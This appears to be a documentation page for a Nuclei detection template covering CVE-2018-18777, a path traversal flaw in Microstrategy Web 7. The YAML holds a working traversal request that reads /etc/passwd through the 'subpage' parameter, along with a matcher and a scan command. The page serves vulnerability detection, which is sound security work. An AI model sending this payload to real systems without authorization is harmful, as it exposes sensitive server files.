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Microstrategy Web 7 - Local File Inclusion

ID: CVE-2018-18777

Severity: medium

Author: 0x_Akoko

Tags: cve,cve2018,traversal,edb,packetstorm,microstrategy,lfi

Description

Section titled “Description”

Microstrategy Web 7 is vulnerable to local file inclusion via “/WebMstr7/servlet/mstrWeb” (in the parameter subpage). Remote authenticated users can bypass intended SecurityManager restrictions and list a parent directory via a /.. (slash dot dot) in a pathname used by a web application. NOTE: this is a deprecated product.

YAML Source

Section titled “YAML Source”
id: CVE-2018-18777


info:
  name: Microstrategy Web 7 - Local File Inclusion
  author: 0x_Akoko
  severity: medium
  description: |
    Microstrategy Web 7 is vulnerable to local file inclusion via "/WebMstr7/servlet/mstrWeb" (in the parameter subpage). Remote authenticated users can bypass intended SecurityManager restrictions and list a parent directory via a /.. (slash dot dot) in a pathname used by a web application. NOTE: this is a deprecated product.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to read sensitive files on the server.
  remediation: |
    Apply the latest security patches or upgrade to a newer version of Microstrategy Web.
  reference:
    - https://www.exploit-db.com/exploits/45755
    - http://packetstormsecurity.com/files/150059/Microstrategy-Web-7-Cross-Site-Scripting-Traversal.html
    - https://nvd.nist.gov/vuln/detail/CVE-2018-18777
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 4.3
    cve-id: CVE-2018-18777
    cwe-id: CWE-22
    epss-score: 0.00185
    epss-percentile: 0.5564
    cpe: cpe:2.3:a:microstrategy:microstrategy_web:7:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: microstrategy
    product: microstrategy_web
  tags: cve,cve2018,traversal,edb,packetstorm,microstrategy,lfi


http:
  - method: GET
    path:
      - "{{BaseURL}}/WebMstr7/servlet/mstrWeb?evt=3045&src=mstrWeb.3045&subpage=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd"


    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"


      - type: status
        status:
          - 200
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Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2018/CVE-2018-18777.yaml"

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